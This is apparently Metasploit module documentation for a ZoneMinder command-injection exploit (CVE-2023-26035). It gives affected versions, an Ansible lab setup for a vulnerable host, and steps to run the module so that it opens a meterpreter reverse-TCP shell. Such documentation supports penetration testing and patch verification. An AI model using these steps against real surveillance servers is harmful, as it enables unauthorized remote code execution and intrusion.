Description

This module exploits a command injection that leads to a remote execution in ZoneMinder surveillance software versions before 1.36.33 and before 1.37.33

More about the vulnerability detail: 2023-26035.

The module will automatically use cmd/linux/http/x64/meterpreter/reverse_tcp payload.

The module will check if the target is vulnerable, by sending a sleep command.

Vulnerable Application

Zoneminder is a free and open-source software defined telecommunications stack for real-time communication, WebRTC, telecommunications, video, and Voice over Internet Protocol.

This module has been tested successfully on Zoneminder versions:

  • 1.36.31~64bit on Debian 11

Source and Installers

The 3rd party debian-repository has packages for the vulnerable versions(for example zoneminder=1.36.31-bullseye1)

Ansible Installation

This exploit was tested using a debian bullseye cloudimage with the following ansible-roles:

roles:
  - src: https://github.com/ait-cs-IaaS/atb-ansible-zoneminder.git
    version: v1.2
    name: zoneminder
  - src: https://github.com/ait-cs-IaaS/atb-ansible-debiansnapshot.git
    version: v1.2
    name: debiansnapshot
  - src: https://github.com/ait-cs-IaaS/ansible-mariadb.git
    version: v1.0.0
    name: mariadb
  - src: https://github.com/ait-cs-IaaS/ansible-apache2.git
    version: v1.3
    name: apache2

Zoneminder was deployed using the following playbook:

- name: Install old Debian-Archive-Repo Host
  hosts: all
  remote_user: debian
  become: true
  vars:
    debsnap_timestamp: 20210815T082041Z
    debsnap_debrelease: bullseye
  roles:
    - role: debiansnapshot

- name: Install Videoserver Host
  hosts: all
  remote_user: debian
  become: true
  tasks:
    - name: Install Videoserver Packages
      ansible.builtin.apt:
          pkg:
            - vim
            - curl
            - netcat-traditional
          update_cache: yes

  roles:
          - role: mariadb
          - role: apache2
            vars:
              apache2_modules:
                - name: "headers"
                - name: "rewrite"
                - name: "expires"
                - name: "cgi"
              apache2_vhosts:
                - name: default
                  http: true
                  vhost_template: "redir.j2"
          - role: zoneminder
            vars:
              zoneminder_debrelease: bullseye

The following template-file("redir.j2") for apache2 redirects requests to the zoneminder subdirectory:

<VirtualHost *:80>
	ServerName {{ item.name }}
{% if item.aliases is defined %}
	ServerAlias {{ item.aliases|join(' ') }}
{% endif %}
	DocumentRoot {{ apache2_vhost_dir }}/{{ item.name }}
        RedirectMatch ^/$ /zm/
	ErrorLog {{ apache2_vhost_dir }}/{{ item.name }}/log/error.log
	CustomLog {{ apache2_vhost_dir }}/{{ item.name }}/log/access.log combined

	<Directory "{{ apache2_vhost_dir }}/{{ item.name }}">
		Options FollowSymLinks MultiViews
		AllowOverride All
		Require all granted
	</Directory>
</VirtualHost>

Verification Steps

Example steps in this format (is also in the PR):

  1. Do: use exploit/unix/webapp/zoneminder_snapshots

  2. Do: set RHOSTS [ips]

  3. Do: set LHOST [lhost]

  4. Do: run

  5. You should get a shell.

Options

TARGETURI

Remote web path to the zoneminder installation (default: /zm/)

Scenarios

In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is 192.42.1.188.

Zoneminder 1.36.31-bullseye1

The following demo shows how to use the exploit with minimal settings:
